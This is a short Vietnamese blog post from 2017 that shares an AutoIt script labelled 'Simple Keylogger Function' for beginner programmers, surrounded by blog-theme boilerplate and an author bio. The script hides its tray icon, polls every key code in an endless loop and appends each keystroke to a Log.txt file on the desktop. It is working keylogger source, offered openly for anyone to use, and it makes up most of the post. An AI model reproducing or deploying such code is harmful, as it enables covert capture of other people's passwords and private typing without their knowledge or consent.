logo logo

The next-generation blog, news, and magazine theme for you to start sharing your stories today!

The Blogzine

Save on Premium Membership

Get the insights report trusted by experts around the globe. Become a Member Today!

View pricing plans

New York, USA (HQ)

750 Sing Sing Rd, Horseheads, NY, 14845

Call: 469-537-2410 (Toll-free)

hello@blogzine.com
AutoIt

Simple Keylogger Function

Hôm nay mình xin chia sẽ cho mọi người 1 đoạn Code khá hay và đơn giản cho mọi người mới tập tành lập trình AutoIt như mình ^^ Bên dưới là đoạn code cho ai là dân lập trình Aut…

avatar
Hung.Pro.VN

Developer Windows


  • 24/06/2017
  • Views

Hôm nay mình xin chia sẽ cho mọi người 1 đoạn Code khá hay và đơn giản cho mọi người mới tập tành lập trình AutoIt như mình ^^
Bên dưới là đoạn code cho ai là dân lập trình AutoIt
#NotrayIcon
#include
;==============================
; AutoIt
; Autor : M3
; Simple KeyLoguer Function
;==============================

sGetKey()

Func sGetKey()

While 1

Local $sKey, $Result , $Log

For $sKey = 1 To 255

$Result = _WinAPI_GetAsyncKeyState($sKey)

If $Result = -32767 then

$Result = Chr($sKey)

$Log = FileOpen(@DesktopDir & "\Log.txt", 1)

FileWrite($Log, $Result)

FileClose($Log)

EndIf

Next

WEnd

Endfunc

Chúc các bạn thành công !

Related post


avatar

Hung.Pro.VN

Nhà thiết kế Web
View Articles

Tôi là admin trang Hung.Pro.VN là một người có đam mê với Blogspot, kinh nghiệm 5 năm thiết kế ra hàng trăm mẫu Template blogpsot như" Bán hàng, bất động sản, landing page, tin tức...

Nhận xét

Share this article